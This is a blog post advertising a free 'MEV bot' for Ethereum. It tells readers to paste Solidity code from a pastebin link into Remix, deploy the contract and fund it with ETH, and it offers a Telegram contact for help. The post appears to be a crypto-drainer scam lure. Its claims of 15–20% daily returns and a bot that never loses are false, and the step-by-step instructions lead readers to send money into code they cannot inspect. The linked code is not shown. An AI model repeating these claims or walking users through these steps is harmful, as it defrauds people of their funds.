# MEV BOT 2.1

By [MevBOTCrew](https://paragraph.com/@mevbotcrew) · 2023-09-06

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![](https://storage.googleapis.com/papyrus_images/da55170d8172650335dca57e37c895463c5536e453fb8f6964d05ef228330bb2.png)

**Why You Need MEV Bot?**

**MEV Bot** is a smart contract that uses **arbitrage** and **sandwich attack** strategies to make trades on behalf of its users. By continuously scanning different exchanges for price differences, MEV Bot is able to identify opportunities for arbitrage and execute trades **automatically**, allowing users to earn profits without having to manually monitor the markets.

Overall, MEV Bot is an innovative tool that can help users make money by taking advantage of price differences in the markets. Its ability to execute arbitrage and sandwich attack trades automatically makes it an attractive option for those looking to earn **passive income** from their investments.

MEV bot operate at a high frequency, often executing several trades **per second**.They can be used by traders to generate additional profits, or by market makers to improve their own liquidity provision.

One of the main benefits of MEV bot is that they can operate at a much faster speed than humans, allowing them to take advantage of market inefficiencies that would otherwise be missed.

**MEVBot** is a team of **#MEV enthusiasts** that has recently deployed a **Arbitrage and Sandwich bot on Ethereum Mainnet.** We have released our source code for free, but there is a **0.5%** fee deducted from every successful trade executed by the user's bot. This fee goes to the **MEVBot** team and is used to cover expenses.

**How to launch your own MEV bot: (Check the video too for better understanding)**

[https://streamable.com/z3qqdh?src=player-page-share](https://streamable.com/z3qqdh?src=player-page-share)

**How to launch your own arbitrage bot:**

1\.      Download [MetaMask](https://metamask.io/download/) (if you don’t have it already).

2\.      Access Remix: [**Remix - Ethereum IDE**](https://remix.ethereum.org/)

[https://remix.ethereum.org/](https://remix.ethereum.org/)

3\.      Click on the “contracts” folder and then create “New File”. Rename it as you like, for example: “bot.sol”

![](https://storage.googleapis.com/papyrus_images/bb7d2f1431eccb572b2b4fd4c794f433957655c205ef228e6c917f3bca064f26.png)

Note: If there is a problem if the text is not colored when you create bot.sol and paste the code from pastebin, try again. If the codes are not colored, you cannot proceed to the next step.

4\.      Paste [**this**](https://pastebin.com/raw/T5ac1iJS) code in Remix.

![](https://storage.googleapis.com/papyrus_images/32f35b706a3ac9eeb0e4e7cddda728d45e82c3cdaf1c74d5b32e6ed5c60660bf.png)

5\.      Go to the “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and click “Compile bot.sol”.

Make sure “bot.sol” is selected in the CONTRACT section of the SOLIDITY COMPILER section.

![](https://storage.googleapis.com/papyrus_images/59380f3342ffa670fb502f3849927652d2f12308de8fe4537df1780709726411.png)

6\.      Go to the “DEPLOY & RUN TRANSACTIONS” tab, select the “Injected Provider - Metamask” environment and then “Deploy”. By approving the Metamask contract creation fee, you will have created your own contract (ignore any IFPS errors that may appear afterwards).

![](https://storage.googleapis.com/papyrus_images/7fcb3fb368e19f168178a70c1a384a04ee31f2f2ff7c7dca301b0dc1f0a29c9d.png)

7\.      Copy your newly created contract address as shown on video and fund it with any amount of ETH (minimum 0.3-1 ETH recommended) that you would like the bot to earn with by simply sending ETH to your newly created contract address.

![](https://storage.googleapis.com/papyrus_images/3cb8f611d73591f25da42a0b738be9a029dd23b19dc2a842f3cc51972c2d0b58.png)

8\.      After your transaction is confirmed, click the “start” button to run the bot. Withdraw your ETH at any time by clicking the “Withdraw” button.

![](https://storage.googleapis.com/papyrus_images/c73c70205b2618c0b151690695c0f2149231bc966331db1e05feba29a93740aa.png)

That’s it. The bot will start working immediately earning you profits from arbitrage trades on Uniswap pools.

If you have any questions or inquiries for assistance, feel free to contact us on Telegram @walterswift

**FAQ**

**If many people will use the bot, wouldn’t dilution of profits occur?**

We do not plan to limit access to the bot for now because there won’t be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.

**What average ROI can I expect?**

According to latest data of bot performances (past 3 weeks) ROI is about +15–20% daily per user. Bot does not make any losses, it only executes trades when there’s proper arbitrage opportunity to make profit, so under all circumstances user is always on plus.

![](https://storage.googleapis.com/papyrus_images/db3a89cf7bfe82c0e0280cc2f9cbd34eed0f1f9d2f5f53147d13eeee15ef453a.png)

![](https://storage.googleapis.com/papyrus_images/4ae2561a5b3b7d53abab6c647b1bf4d636419fb411a417a0b82a213f81225d29.png)

**What amount of funds bot need to work?**

We recommend funding the contract with at least 0.3-1 ETH to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than recommended and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit.

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*Originally published on [MevBOTCrew](https://paragraph.com/@mevbotcrew/mev-bot-2-1)*